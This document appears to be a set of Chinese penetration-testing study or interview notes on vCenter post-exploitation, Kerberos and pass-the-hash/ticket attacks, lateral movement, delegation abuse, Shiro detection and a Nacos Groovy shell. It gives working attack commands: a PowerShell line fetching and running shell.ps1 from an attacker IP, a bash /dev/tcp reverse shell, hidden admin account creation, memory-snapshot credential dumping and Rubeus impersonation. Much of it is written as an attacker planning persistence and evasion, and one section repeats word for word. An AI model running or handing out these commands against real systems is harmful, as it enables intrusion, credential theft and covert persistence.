    • 原理:作为 vCenter 的管理员,我可以自由创建、修改和删除虚拟机
    • 利用:我会创建一个新的虚拟机,并在其中安装一个带后门的操作系统镜像。这为我在内网中建立了一个持久化的攻击跳板,可以在任何需要的时候访问
  • 直接在虚拟机上执行命令
    • 原理:vCenter 拥有 Guest Operations 功能,如果虚拟机安装了 VMware Tools,vCenter 就可以直接在虚拟机内执行命令
    • 利用:我不需要知道虚拟机的登录凭据,就可以通过 vCenter 的界面或 API,在虚拟机内执行 cmd.exepowershell.exe 命令,这可以用来植入恶意软件、建立反向 Shell,或窃取敏感文件。

3. 持久化与隐蔽操作

获得 vCenter 权限后,最重要的是建立持久化通道,以确保即使被发现,我也可以重新进入

  • 修改 vCenter 用户权限

    • 原理:我可以创建新的 vCenter 用户,并赋予它管理员权限,或者修改现有用户的权限
    • 利用:我会创建一个不显眼的、难以被发现的后门账户,以便在我的主账户被禁用后,仍然能够通过这个后门账户访问 vCenter
  • 注入 vCenter 插件

    • 原理:vCenter 支持插件机制
    • 利用:我可以开发或修改一个恶意的插件,将其注入到 vCenter 服务器。这个插件可以用于持续监控环境、执行命令或窃取数据,从而实现更深层次的持久化

    拿到 vCenter 管理员权限,但部分虚拟机处于锁屏状态怎么办

1. 内存转储攻击

这是最强大且隐蔽的攻击方式,它能让你在不与虚拟机桌面直接交互的情况下,窃取到所有已登录用户的密码

  • 原理:Windows 操作系统在运行时,会将已登录用户的明文密码、NTLM 哈希和 Kerberos 票据等凭据信息,存储在 lsass.exe 进程的内存中。作为 vCenter 管理员,你可以获取虚拟机的**内存快照,这个快照文件包含了虚拟机在某一时刻的全部内存数据

  • 操作步骤

    1. 在 vCenter 界面中,找到锁屏的虚拟机

    2. 右键点击虚拟机,选择 Snapshot -> Take Snapshot。在弹出的窗口中,勾选 “Snapshot the virtual machine’s memory”

    3. 等待快照完成后,找到这个快照文件(通常是 .vmem.vmss 文件)。这个文件通常位于 ESXi 主机的数据存储(Datastore)上

    4. 将这个文件下载到你的攻击机

    5. 在攻击机上使用内存取证工具,例如 Volatility。执行命令来分析 .vmem 文件并提取凭据

      1
      2
      3
      4
      # 识别操作系统类型
      volatility -f <内存快照文件> imageinfo
      # 从lsass进程中提取密码哈希和明文密码
      volatility -f <内存快照文件> --profile=<识别出的操作系统> mimikatz
  • 优点:这种方法非常隐蔽,几乎不会在虚拟机内留下任何痕迹,也不会触发任何安全告警。即使虚拟机锁屏,你依然可以成功获取登录凭据

2. 利用 VMware Tools 在虚拟机内执行命令

如果虚拟机内安装了 VMware Tools,你就可以利用 vCenter 的 Guest Operations 功能,直接在虚拟机内部执行命令,而无需登录

  • 原理:VMware Tools 是一个运行在虚拟机操作系统中的服务,它与 vCenter 后台进程进行通信。这使得 vCenter 可以远程管理虚拟机,包括文件传输、脚本执行等
  • 操作步骤
    1. 在 vCenter 界面中,找到锁屏的虚拟机
    2. 右键点击虚拟机,选择 Guest OS -> Run Program in Guest
    3. 在弹出的对话框中,你可以输入想要执行的命令
    4. 你可以执行以下命令来建立一个持久化的后门
      • 创建新的管理员用户C:\Windows\System32\cmd.exe /c "net user newuser password /add" C:\Windows\System32\cmd.exe /c "net localgroup administrators newuser /add"
      • 下载并执行反向 ShellC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "iwr http://<攻击机IP>/shell.ps1 -OutFile C:\temp\shell.ps1; Start-Process C:\temp\shell.ps1"
  • 优点:这种方法简单直接,只要虚拟机处于开机状态且 VMware Tools 运行正常,你就可以绕过锁屏,直接在内部执行命令

3. 创建新的管理员账户

如果上述方法都失败了,你还有终极权限——在虚拟机内创建新的管理员账户

  • 原理:利用 VMware Tools 的 Run Program in Guest 功能,你可以直接调用操作系统命令来创建新用户并将其添加到管理员组

  • 操作步骤

    • 执行上面提到的 net usernet localgroup 命令,创建一个新的管理员账户
    • 等待命令执行成功后,你就可以使用这个新创建的账户,远程桌面连接到虚拟机,或者通过其他方式登录

    Kerberos 的原理

Kerberos 的三大核心组件

要理解 Kerberos,必须先了解它的三个关键角色:

  1. 客户端(Client):想要访问服务的用户或机器
  2. 服务器(Server):提供服务的机器,例如文件服务器、Web 服务器等
  3. 密钥分发中心(KDC):这是 Kerberos 认证的核心,由两部分组成:
    • 认证服务器(AS - Authentication Server):负责验证客户端的身份
    • 票据授予服务(TGS - Ticket Granting Service):负责发放访问特定服务的票据

Kerberos 的工作原理:三步认证流程

Kerberos 的认证过程可以分为三个主要步骤。整个过程都围绕着**票据(Ticket)会话密钥(Session Key)**展开。

第一步:客户端获取“票据授予票据”(TGT)

这是 Kerberos 认证的起点

  1. 客户端请求:客户端向 AS 发送一个认证请求,包含它的用户名。注意,这里没有明文密码
  2. AS 验证:AS 在其数据库中查找这个用户名。如果找到,它会生成一个会话密钥Client/TGS Session Key),并用客户端的密码哈希对这个会话密钥进行加密
  3. AS 颁发 TGT:AS 还会生成一个票据授予票据(TGT - Ticket-Granting Ticket)。这个 TGT 包含了客户端的身份信息和前面生成的会话密钥,并用TGS 的密钥进行加密。AS 将加密后的会话密钥和 TGT 一起返回给客户端
  4. 客户端解密:客户端收到响应后,会使用自己的密码哈希来解密会话密钥。**这是整个过程中唯一使用到客户端密码哈希的地方。**如果解密成功,客户端就获得了 TGT 和一个会话密钥

现在,客户端拥有了 TGT,它可以使用这个票据向 TGS 请求其他服务的访问权限。

第二步:客户端请求“服务票据”(ST)

当客户端需要访问某个服务时,它会向 TGS 请求一个服务票据

  1. 客户端请求:客户端将 TGT 和想要访问的服务名发送给 TGS
  2. TGS 解密:TGS 使用自己的密钥解密 TGT。如果解密成功,就证明 TGT 是合法的。TGS 从 TGT 中提取出客户端/TGS 会话密钥
  3. TGS 颁发 ST:TGS 生成一个客户端/服务会话密钥,并用客户端/TGS 会话密钥对其加密。同时,TGS 还生成一个服务票据(ST - Service Ticket),包含了客户端的身份信息和客户端/服务会话密钥,并用服务端的密钥加密。TGS 将这两部分一起返回给客户端
  4. 客户端解密:客户端使用自己的客户端/TGS 会话密钥来解密,从而获得客户端/服务会话密钥ST

现在,客户端拥有了 ST,它可以拿着这个票据去访问目标服务

第三步:客户端访问服务

这是认证的最后一步,也是 Kerberos 核心安全性的体现

  1. 客户端请求:客户端将 ST 和一个认证数据(Authenticator)发送给目标服务器。认证数据中包含一个时间戳,并用客户端/服务会话密钥加密
  2. 服务器解密:服务器使用自己的密钥解密 ST,提取出客户端/服务会话密钥。然后,服务器使用这个会话密钥解密认证数据,并检查时间戳是否有效
  3. 服务器验证:如果所有检查都通过,服务器就认为客户端是合法的,并允许其访问服务

Flannel、Calico 和 Cilium 有什么区别

1. Flannel

Flannel 是一个简单、轻量级的网络解决方案,它主要关注一点:为每个 Pod 分配一个 IP 地址,并确保这些 IP 之间可以路由

  • 工作原理:Flannel 使用一个**覆盖网络(Overlay Network)**来工作。它在每个主机上运行一个代理进程 flanneld,这个代理会在 Pod 的 IP 地址之上创建一个虚拟网络。当一个 Pod 发送数据包时,Flannel 会将数据包封装在 UDP、VXLAN 或 Host-Gateway 等协议中,然后通过物理网络发送到目标主机。目标主机上的 Flannel 代理收到数据包后,再将其解封装,传递给目标 Pod
  • 特点
    • 简单易用:配置简单,适合初学者或对高级网络功能没有要求的场景
    • 纯路由方案:Flannel 只负责路由,不提供网络策略(Network Policy)功能。你需要结合其他工具(如 Kubernetes Network Policy)来实现防火墙规则
    • 性能:由于有封装和解封装的过程,Flannel 的性能通常会比直接路由方案略低

2. Calico

Calico 是一个更强大、功能更全面的 CNI 插件。它不仅提供网络连接,还内置了强大的网络策略引擎

  • 工作原理:Calico 默认使用 **BGP(Border Gateway Protocol)**来直接路由数据包,而不是使用覆盖网络。每个 Calico 节点都像一个路由器,它会向其他节点广播 Pod 的 IP 地址,从而实现 Pod 间的直接通信。Calico 也可以配置为使用 IP-in-IP 或 VXLAN 模式
  • 特点
    • 性能高:由于默认使用 BGP 直接路由,避免了数据包的封装和解封装开销,其性能通常比 Flannel 高
    • 内置网络策略:Calico 提供了非常细粒度的网络策略功能,你可以像使用防火墙一样控制 Pod 间的通信
    • 适用于大规模集群:其设计使其非常适合大型、复杂的集群环境

3. Cilium

Cilium 是一个相对较新但功能强大的 CNI 插件,它的设计理念是基于**eBPF(extended Berkeley Packet Filter)**技术

  • 工作原理:Cilium 使用 eBPF 来在 Linux 内核中实现网络和安全功能。它可以在数据包到达网络协议栈之前,在内核层面直接处理和过滤数据包,而无需将数据包从内核空间复制到用户空间。这使得 Cilium 能够提供超高性能细粒度的安全控制
  • 特点
    • 性能卓越:eBPF 技术使其在性能上优于大多数传统的 CNI 插件
    • 应用层安全:Cilium 可以在L7 层(应用层)实施网络策略。例如,你可以基于 HTTP 请求的路径、方法或 Kafka 消息的主题来设置策略,这比 Calico 的 L3/L4 网络策略更为强大
    • 可观测性:Cilium 提供了丰富的可观测性工具,可以帮助你追踪数据包的流动和安全策略的执行情况
特性/插件 Flannel Calico Cilium
工作原理 覆盖网络 (VXLAN/UDP) IP 路由 (BGP) eBPF in kernel
网络策略 不提供,需额外配置 内置,L3/L4 内置,L3/L4/L7
性能 简单,性能一般 高性能 极高性能
适用场景 简单集群,测试环境 生产环境,大规模集群 需要高吞吐和细粒度安全控制的复杂集群
优点 易于安装和使用 功能全面,性能优越 性能最佳,支持 L7 策略
缺点 功能单一,无内置策略 BGP 模式配置复杂 技术新,相对复杂

PTT 有哪些攻击方法

1. 获取 Kerberos 票据(TGT 或 ST)

攻击的第一步是获取一个有效的 Kerberos 票据。攻击者通常会利用以下几种方式:

  • Mimikatz:这是最常用的工具。通过 Mimikatz,攻击者可以在一个已经获得管理员权限的机器上,从内存中导出用户的 Kerberos 票据缓存。这些缓存中可能包含着 TGT(Ticket Granting Ticket,票据授予票据)或 ST(Service Ticket,服务票据)
  • 窃取和伪造:攻击者可以窃取域管理员账户的 Kerberos 票据,然后利用这些票据伪造或生成新的票据,以便访问域内任何服务

2. 利用和注入票据

一旦攻击者获取了票据,他们会将其注入到内存中,以冒充合法用户:

  • 注入 TGT:攻击者可以将域管理员账户的 TGT 注入到内存中。通过这个 TGT,他们可以向 KDC 申请任意服务的 ST,从而完全控制域内的所有服务和资源
  • 注入 ST:攻击者可以直接注入一个特定服务的 ST。这种方法通常用于横向移动,即从一台服务器跳到另一台服务器,以访问特定的服务,如数据库或文件共享

PTT 有哪些攻击方法

1. 获取 Kerberos 票据(TGT 或 ST)

攻击的第一步是获取一个有效的 Kerberos 票据。攻击者通常会利用以下几种方式:

  • Mimikatz:这是最常用的工具。通过 Mimikatz,攻击者可以在一个已经获得管理员权限的机器上,从内存中导出用户的 Kerberos 票据缓存。这些缓存中可能包含着 TGT(Ticket Granting Ticket,票据授予票据)或 ST(Service Ticket,服务票据)
  • 窃取和伪造:攻击者可以窃取域管理员账户的 Kerberos 票据,然后利用这些票据伪造或生成新的票据,以便访问域内任何服务

2. 利用和注入票据

一旦攻击者获取了票据,他们会将其注入到内存中,以冒充合法用户:

  • 注入 TGT:攻击者可以将域管理员账户的 TGT 注入到内存中。通过这个 TGT,他们可以向 KDC 申请任意服务的 ST,从而完全控制域内的所有服务和资源
  • 注入 ST:攻击者可以直接注入一个特定服务的 ST。这种方法通常用于横向移动,即从一台服务器跳到另一台服务器,以访问特定的服务,如数据库或文件共享

横向渗透命令执行手段

1. WMI

WMI 是 Windows 操作系统中的一个核心组件,它允许系统管理员对本地或远程计算机进行管理。攻击者可以利用 WMI 强大的功能,在远程主机上执行命令,而不需要依赖其他第三方工具

常用命令:

  • wmic /node:目标IP /user:用户名 /password:密码 process call create "cmd /c dir > c:\result.txt":这个命令可以在目标主机上执行 dir 命令,并将结果输出到 c:\result.txt 文件
  • wmic /node:目标IP /user:用户名 /password:密码 process call create "powershell.exe -e <Base64编码的命令>":通过 WMI 结合 PowerShell,可以执行更复杂的命令,绕过一些安全检测

2. PsExec

PsExec 是 Sysinternals 工具集中的一个经典工具,它允许在远程计算机上以本地 SYSTEM 账户身份执行命令。它利用 SMB 协议在远程主机上创建一个名为 PSEXESVC 的服务,通过这个服务来执行命令

常用命令:

  • PsExec.exe \\目标IP -u 用户名 -p 密码 cmd.exe:直接在远程主机上打开一个交互式 cmd 终端
  • PsExec.exe \\目标IP -u 用户名 -p 密码 -s cmd.exe:以 SYSTEM 权限打开一个 cmd 终端,这是最常见也是最强大的用法

PsExec 的缺点是可能会被杀毒软件检测到,并且会在目标主机上留下服务创建和删除的日志

3. WinRM

WinRM 是微软基于 WS-Management 标准实现的管理协议,默认在 Windows Server 2012 及其以上版本中启用。它可以通过 HTTP 或 HTTPS 协议进行远程管理,非常适合在防火墙严格的环境下使用

常用命令:

  • winrs -r:目标IP -u:用户名 -p:密码 ipconfig:在目标主机上执行 ipconfig 命令
  • Invoke-Command -ComputerName 目标IP -Credential 用户名 -ScriptBlock {whoami}:使用 PowerShell 的 Invoke-Command cmdlet,可以更灵活地执行命令和脚本

4. UNC 路径执行

在某些情况下,如果目标主机开启了 SMBIPC$ 共享,并且你拥有相应的权限,可以直接利用 UNC 路径(\\IP\共享名)来执行文件

常用命令:

  • copy \\攻击机IP\share\a.exe c:\windows\temp\a.exe:将攻击机上的可执行文件复制到目标主机上
  • schtasks /create /s 目标IP /tn "MyTask" /tr c:\windows\temp\a.exe /sc once /st 00:00:利用计划任务在特定时间执行复制过来的文件

PTH、PTT、PTK 三者区别

Pass-the-Hash (PtH)

PtH 是最广为人知的技术,它指的是一种攻击方法。攻击者通过窃取用户在内存中的 NTLM 哈希,并直接使用这个哈希来作为凭据进行身份验证,而不需要知道明文密码

  • 工作原理: 当 Windows 用户登录时,系统会生成一个 NTLM 哈希并存储在内存中。PtH 攻击者可以利用 Mimikatz 等工具从内存中抓取这个哈希,然后将它传递给目标服务(如 SMB、WMI),假冒该用户进行登录
  • 应用场景: 最典型的应用是横向移动。如果攻击者拿到了域管理员的 NTLM 哈希,就可以在其他机器上直接使用这个哈希来建立远程连接、执行命令,甚至完全控制整个域
  • 常用工具: Mimikatz 是 PtH 攻击的核心工具,它的 sekurlsa::logonpasswordssekurlsa::pth 功能就是为此而生

Pass-the-Ticket (PtT)

PtT 则是利用 Kerberos 协议的攻击技术。它指的是攻击者窃取了用户在内存中的 Kerberos 票据(Ticket Granting Ticket, TGT),然后将这个票据注入到当前会话中,从而获得访问权限

  • 工作原理: Kerberos 认证依赖于 TGT。当用户成功登录域时,域控制器会颁发一个 TGT。PtT 攻击者可以利用工具从内存中导出这个 TGT,并将其加载到另一台机器的内存中。加载后,该机器就可以向域内的其他服务发起访问请求,而不需要提供哈希或密码
  • 与 PtH 的区别:
    • 协议不同: PtT 针对的是 Kerberos 协议,而 PtH 针对的是 NTLM 协议
    • 对象不同: PtT 操作的是 Kerberos 票据,PtH 操作的是 NTLM 哈希
    • 更隐蔽: Kerberos 认证通常比 NTLM 更难被检测,因为它不涉及明文密码或哈希在网络中的传输

Pass-the-Key (PtK)

PtK 是一种更新、更高级的哈希传递技术,它通常与 AES 加密有关。攻击者不再传递 NTLM 哈希或 Kerberos 票据,而是利用用户的 AES 密钥来伪造 Kerberos 认证过程

  • 工作原理: 在 Windows 2008 及更高版本的系统中,Kerberos 票据的加密和解密都可能使用 AES 密钥。PtK 攻击者从内存中提取出这个 AES 加密密钥,然后用它来伪造 Kerberos 票据,实现身份验证。这种方法通常用于绕过某些安全限制或在更现代的 Kerberos 环境中进行攻击
  • 与 PtH/PtT 的区别:
    • 对象不同: PtK 利用的是 AES 密钥,而不是 NTLM 哈希或 Kerberos 票据
    • 安全性更高: AES 密钥是更强大的加密凭据,攻击者拿到它后,几乎可以完全伪造 Kerberos 认证过程
    • 应用场景: 在一些对 Kerberos 票据有额外安全控制的环境中,PtK 可能是更有效的选择
特性 Pass-the-Hash (PtH) Pass-the-Ticket (PtT) Pass-the-Key (PtK)
攻击对象 NTLM 哈希 Kerberos 票据 (TGT) AES 密钥
利用协议 NTLM Kerberos Kerberos
核心工具 Mimikatz、Impacket Mimikatz、Impacket Mimikatz
常见场景 Windows 2003/2008 老环境,横向移动 Windows 2008+ Kerberos 环境,权限维持 现代 Kerberos 环境,更隐蔽的攻击
核心思想 伪造哈希 注入票据 伪造密钥

一台机器不能出网,如何把一个 exe 文件放到对应的目标机器上去

1. 利用现有会话通道

如果你的权限获取是通过某个工具(如 Meterpreter、Cobalt Strike 等)建立的会话,并且这个会话本身可以实现文件传输,那么这是最直接的方法

  • Meterpreter 的 upload 命令: 如果你已经拿到了 Meterpreter 会话,直接使用 upload /path/to/local/file C:\path\on\target\machine 命令就可以将本地文件上传到目标机器
  • Cobalt Strike 的 upload 命令: 类似地,在 Cobalt Strike 的 Beacon 会话中,upload /path/to/local/file C:\path\on\target\machine 同样可以完成任务
  • nc (Netcat) 通道: 如果没有 Meterpreter 或 Cobalt Strike,但能通过其他方式建立一个 nc 连接,可以在本地机器使用 nc -l -p 4444 < file.exe,然后在目标机器上使用 nc <本地IP> 4444 > file.exe 来进行文件传输

2. 利用系统自带工具或协议

如果无法建立现有的会话通道,或者现有工具无法传输文件,我们可以利用目标机器上已有的工具和协议

  • SMB/Cifs 共享: 如果目标机器在 Windows 内网环境中,并且你可以访问到一个可以上传文件的 SMB 共享。
    1. 在跳板机上开启共享: 使用 smbserver.py (Impacket 工具集) 或 Windows 自带的共享功能,在跳板机上共享一个目录
    2. 在目标机上连接共享: 在目标机上使用 net use Z: \\<跳板机IP>\share 命令挂载共享目录
    3. 复制文件: 使用 copy Z:\file.exe C:\ 将文件复制到目标机器
  • FTP 服务: 如果目标机器或跳板机上有 FTP 服务
    1. 在跳板机上开启 FTP 服务: 确保 FTP 服务可以被目标机访问到
    2. 在目标机上使用 ftp 命令: 在目标机上使用 ftp 客户端连接到跳板机,然后使用 getput 命令来传输文件
  • HTTP 服务: 如果跳板机上可以开启一个简易的 HTTP 服务
    1. 在跳板机上开启 HTTP 服务: 使用 Python 的 http.serverSimpleHTTPServer 模块,如 python -m http.server 8080
    2. 在目标机上使用 certutil 或 PowerShell 下载: 在目标机上使用 certutil.exe -urlcache -split -f http://<跳板机IP>:8080/file.exe C:\file.exe 或 PowerShell 的 Invoke-WebRequest 命令下载文件。这种方式在很多 Windows 环境中非常有效,因为它绕过了部分防火墙

3. 利用特殊编码或分割传输

如果上述方法都不行,或者网络环境非常严格,可以考虑将文件进行编码或分割传输

  • Base64 编码:
    1. 在本地编码: 使用 base64 file.exe > file.txt 将文件编码成文本
    2. 传输文本: 将生成的文本文件 file.txt 通过剪贴板、或者通过其他能传输文本的方式(如日志文件、数据库记录等)传输到目标机
    3. 在目标机解码: 在目标机上使用 certutil.exe -decode file.txt file.exe 或 PowerShell 将文本解码回可执行文件。这种方法非常灵活,可以在几乎所有有文本传输的地方使用
  • 文件分割: 如果文件过大,可以先将文件分割成多个小块,然后逐一传输,最后在目标机上合并。这通常和上面的方法结合使用

说说域内委派

1. 基础知识:委派的类型

首先,我们需要理解域内委派的两种主要类型,因为它们的攻击方法截然不同

a. 非约束性委派

这是最古老、也最危险的一种委派方式

  • 工作原理:当一个用户访问配置了非约束性委派的服务(比如一个 Web 服务器)时,域控制器会把该用户的**票据授予票据(TGT)**发送给这个服务。这个服务会把用户的 TGT 缓存到内存中,以便后续代表用户去访问其他任何服务
  • 渗透利用点
    1. 票据窃取(TGT Stealing):非约束性委派的关键漏洞在于,服务会在内存中缓存所有访问过它的用户的 TGT
    2. 伪造身份:如果一个渗透测试人员能够控制这个服务账户(例如通过弱密码、令牌窃取等),他就可以从内存中导出所有缓存的 TGT,包括域管理员的 TGT
    3. 万能钥匙:拿到域管理员的 TGT 后,攻击者就拥有了完全的域管理员权限,可以代表该管理员去访问域内任何一台机器或服务,实现了最高级别的权限提升

攻击思路

  1. 侦察:使用工具(如 PowerView、SharpHound)枚举所有配置了非约束性委派的机器账户或用户账户。
    • PowerView 命令Get-DomainUser -UnconstrainedDelegationGet-DomainComputer -UnconstrainedDelegation
  2. 等待和诱骗:找到一个目标后,我们需要等待或诱骗一个高权限用户(如域管理员)来访问这台机器上的服务
  3. 票据导出:一旦高权限用户访问了,我们立即使用 MimikatzRubeus 等工具,在被控机器上从内存中导出所有 TGT 票据
  4. 票据复用:拿到域管理员的 TGT 后,我们可以使用 Mimikatzkerberos::ptt(Pass The Ticket)功能,将票据注入到当前会话中,然后以域管理员的身份访问域内任何资源,比如 net use \\DC01\c$ /y

b. 约束性委派

这是为了解决非约束性委派的风险而引入的更安全的委派方式,它限制了服务可以代表用户访问的范围。但它依然存在攻击点

  • 工作原理:与非约束性委派不同,约束性委派不会把用户的 TGT 传给服务。它利用 Kerberos 协议的扩展(S4U2Self 和 S4U2Proxy)来完成委派
    • S4U2Self:服务向 KDC(Key Distribution Center)证明它代表用户,并请求一个服务票据(ST)
    • S4U2Proxy:服务用这个 ST 去请求另一个服务的 ST,但这个过程是严格受限
  • 渗透利用点
    1. 滥用 S4U2Proxy:如果攻击者能够控制一个配置了约束性委派的服务账户,他可以滥用 S4U2Proxy 协议,冒充域内任何一个普通用户(甚至不存在的用户)去请求访问被委派的特定服务
    2. 横向移动:这使得攻击者可以以任意用户的身份访问特定服务,即使该用户并没有访问权限,从而实现横向移动

攻击思路

  1. 侦察:找到配置了约束性委派的账户
    • PowerView 命令Get-DomainUser -Properties * | Where {$_.msds-allowedtodelegateto}
  2. 控制服务账户:通过密码喷洒、弱密码或凭证窃取等方式,获取一个配置了约束性委派的服务账户的权限
  3. 执行 S4U2Proxy 攻击:使用 RubeusKekeo 等工具,冒充一个域内用户(如 Administrator),向 KDC 请求访问目标服务的票据
    • Rubeus 命令示例Rubeus.exe s4u /user:victim-user /rc4:victim-user-hash /impersonateuser:administrator /altservice:HTTP/webservice.contoso.com /dc:DC01.contoso.com /ptt
  4. 票据复用:成功后,会将伪造的票据注入到当前会话,攻击者即可用管理员身份访问 webservice.contoso.com

c. 基于资源的约束性委派

这是 Windows Server 2012 引入的更精细的委派方式,它将委派配置在被访问的资源上,而不是服务账户上

  • 渗透利用点
    1. ACL 滥用:如果攻击者控制了一台机器(例如,通过普通用户权限),并且该机器的ACL(访问控制列表)允许某个低权限账户进行委派配置,那么攻击者就可以将该机器配置为允许某个低权限账户进行委派
    2. 权限提升:攻击者可以利用这个漏洞,将一个低权限服务账户配置为可以代表任何用户访问这台机器,从而实现权限提升

怎么定位域管曾经登录哪些机器

1. 利用事件日志(Event Logs)

这是最直接,也是最基础的方法。Windows 服务器和客户端都会记录用户的登录事件,我们可以通过分析这些日志来追踪域管理员的行踪

  • 事件 ID 4624:这是成功登录的事件 ID。我们需要关注以下几个关键信息:
    • Account Name:登录的账户名,我们要寻找域管理员账户,通常会包含 Domain Admins 组的成员
    • Logon Type:登录类型
      • Type 2:交互式登录(Interactive),意味着用户直接在机器上操作
      • Type 10:远程交互式登录(RemoteInteractive),意味着通过远程桌面(RDP)登录
      • Type 3:网络登录(Network),这意味着通过网络服务访问,比如文件共享
  • 如何收集
    • 手动收集:登录到域控制器或其他服务器上,打开 事件查看器(Event Viewer),在 Windows 日志 -> 安全 中筛选事件 ID 4624。这对于小型网络尚可,但对于大型网络效率很低
    • 脚本自动化:使用 PowerShell 脚本可以批量查询多台机器上的事件日志。例如,可以编写脚本遍历所有机器,然后筛选出域管理员的登录记录
    • 集中式日志管理:在大型企业中,通常会有 ELK Stack (Elasticsearch, Logstash, Kibana) 或 Splunk 等集中式日志管理系统。如果有权限访问这些系统,可以直接通过强大的搜索功能来查询域管理员的登录历史,这是效率最高的方式

2. 利用 LAPS 或 GPO

有些企业为了安全,会使用 **LAPS(本地管理员密码解决方案)**或 **GPO(组策略对象)**来管理本地管理员账户的密码。如果一个域管理员账户曾登录过这些机器并修改过本地管理员密码,那么这些信息可能会被记录下来

  • 攻击思路
    • LAPS 日志:LAPS 会记录管理员账户对本地密码的修改历史。我们可以通过查看这些日志来反推出是哪个域管理员在何时操作了哪台机器
    • GPO 日志:如果管理员使用了 GPO 批量下发或修改了配置,这些操作也会在日志中留下痕迹

3. 利用渗透工具自动化发现

对于渗透测试工程师来说,手动分析日志太慢了。我们通常会使用专门的工具来自动化这个过程

  • BloodHound:这是内网渗透中最强大的关系图分析工具之一。它能够收集域内的各种信息,包括用户、组、机器、会话等等,然后将这些信息可视化
    • 核心功能:BloodHound 的一个强大功能是会话(Session)分析。它可以识别出哪些账户登录了哪些机器,并用图表清晰地展示出来
    • 查询:在 BloodHound 中,你可以直接运行内置查询,例如“Find Computers to which a Domain Admin has logged on”(查找域管理员登录过的机器),它会立即返回所有相关机器列表
  • PowerView:这是一款基于 PowerShell 的信息收集工具,也是我们常用的利器
    • 命令示例Get-NetSession 可以用来枚举当前机器上的网络会话,从中筛选出域管理员的会话。Get-NetLoggedon 可以用来枚举本地机器上的登录用户,从中找到域管理员
    • 结合使用:我们会编写脚本,在多台机器上运行这些命令,然后将结果汇总起来,分析出域管理员的登录痕迹

7- 中间件

Fastjson 漏洞原理

Fastjson 是阿里巴巴开源的一个高性能 JSON 解析库,它能够将 Java 对象序列化成 JSON 字符串,也能将 JSON 字符串反序列化成 Java 对象

Fastjson 漏洞的核心在于其 自动类型转换(AutoType 功能

在 Fastjson 中,为了在反序列化时能够准确地恢复原始对象的类型,它提供了一个 AutoType 功能

当这个功能开启时,Fastjson 会在 JSON 字符串中加入一个特殊的字段 @type,用于标记这个 JSON 字符串对应的原始 Java 类的全限定名

1
{"@type":"com.example.User","name":"张三","age":25}

当 Fastjson 反序列化这个 JSON 字符串时,它会首先解析 @type 字段,发现是 com.example.User 类型,然后创建一个 User 对象,并把 nameage 字段的值填充进去

Fastjson 在反序列化时,会无条件地信任并加载 @type 字段指定的类。攻击者可以利用这一点,构造一个恶意的 JSON 字符串,让 @type 字段指向一个可以执行恶意操作的 Java 类


如何判断靶标是否使用 Shiro

1. 查看 HTTP 请求和响应头

这是最直接也最常用的方法。当一个网站使用 Shiro 框架时,它通常会在 HTTP 响应中设置一个特定的 Cookie


  • Shiro Cookie: 检查 HTTP 响应头中的 Set-Cookie 字段。如果存在名为 rememberMe 的 Cookie,那么目标很可能使用了 Shiro 框架

    1
    2
    3
    4
    5
    HTTP/1.1 200 OK
    Server: Apache-Coyote/1.1
    Set-Cookie: JSESSIONID=...; Path=/; HttpOnly
    Set-Cookie: rememberMe=...; Path=/; HttpOnly
    Content-Type: text/html;charset=UTF-8

    这个 rememberMe Cookie 是 Shiro 用来记住用户登录状态的。它的值是 Base64 编码的,这正是 Shiro-550 和 Shiro-721 漏洞的核心所在

2. 发送特定请求并观察响应

除了查看响应头,我们还可以通过发送一个带有特定 Cookie 的请求,并观察服务器的响应来进一步确认

  • 发送带无效 RememberMe Cookie 的请求: 发送一个 GET 请求到目标网站的任意页面,并在请求头中手动添加一个 无效的 rememberMe Cookie。例如,可以设置 rememberMe=123

    1
    2
    3
    GET /index.jsp HTTP/1.1
    Host: example.com
    Cookie: rememberMe=123
  • 观察响应头: 如果目标使用了 Shiro,并且 rememberMe 验证失败,服务器通常会在响应头中返回一个 rememberMe=deleteMe 的 Cookie,来清除浏览器中无效的 Cookie。这是 Shiro 框架的一个典型特征

    1
    2
    HTTP/1.1 200 OK
    Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; HttpOnly

    如果看到了 rememberMe=deleteMe,几乎可以 100% 确定目标使用了 Shiro 框架

3. 利用工具自动检测

对于渗透测试工程师来说,手动测试虽然精确,但效率较低。我们可以使用一些自动化工具来快速检测

  • ShiroScan: 这是一款专门用于检测 Shiro 漏洞的工具。它能够自动发送带有特定 Payload 的请求,并根据响应来判断目标是否使用了 Shiro,以及是否存在可利用的漏洞
  • Burp Suite 插件: 许多 Burp Suite 插件,如 Shiro-check,都提供了自动检测功能。你只需在代理中浏览目标网站,插件就会自动分析请求和响应,并提示是否发现了 Shiro 的痕迹

Nacos 如何通过配置文件拿 Shell

1. 信息收集与漏洞探测

首先,需要找到目标 Nacos 服务的地址和端口。常见的默认端口是 8848

  • 访问 Nacos 控制台:通过浏览器访问 http://<Nacos_IP>:8848/nacos
  • 判断是否存在未授权访问:如果无需登录即可访问控制台,则存在未授权访问漏洞
  • 尝试弱口令:如果需要登录,可以尝试使用 Nacos 的默认弱口令,例如 nacos/nacos

2. 构造恶意 Groovy 配置文件

在获取到 Nacos 控制台的权限后,下一步是构造一个包含恶意代码的配置文件

  • 创建新的配置:在 Nacos 控制台中,进入“配置管理” -> “配置列表”,点击“+”号创建新配置
  • 配置参数
    • Data ID:配置的唯一标识,可以任意命名,例如 shell.groovy
    • Group:配置的分组,默认即可
    • 配置格式非常关键的一步,必须选择 Groovy
    • 配置内容:在配置内容中写入恶意 Groovy 代码

以下是两种常见的 Groovy Shell 代码:

反弹 Shell

1
def process = "bash -i >& /dev/tcp/攻击者IP/端口 0>&1".execute()

请将 攻击者IP端口 替换为你自己的 IP 地址和监听端口

命令执行

1
2
3
4
def process = "ls -la".execute()
def output = new StringBuilder()
process.consumeProcessOutput(output, output)
println output.toString()

你可以将 ls -la 替换为你想要执行的任意命令

3. 发布配置并触发

  • 发布配置:填写好 Data ID、Group 和恶意 Groovy 代码后,点击“发布”
  • 触发条件
    • 应用程序加载配置:目标应用程序需要集成 Nacos 并加载这个新发布的配置。通常,应用程序会通过 Nacos SDK 定期拉取配置。一旦应用加载了 shell.groovy 这个配置,Groovy 代码就会被执行
    • 配置刷新:许多 Spring Boot 等应用框架在集成 Nacos 时,会配置自动刷新。当配置有更新时,应用会重新加载。

4. 获取 Shell

  • 反弹 Shell:在发布恶意配置前,需要在攻击者服务器上使用 nc 命令监听端口,例如 nc -lvnp 端口。一旦目标应用加载配置,你就会在监听端口上收到一个反弹回来的 Shell
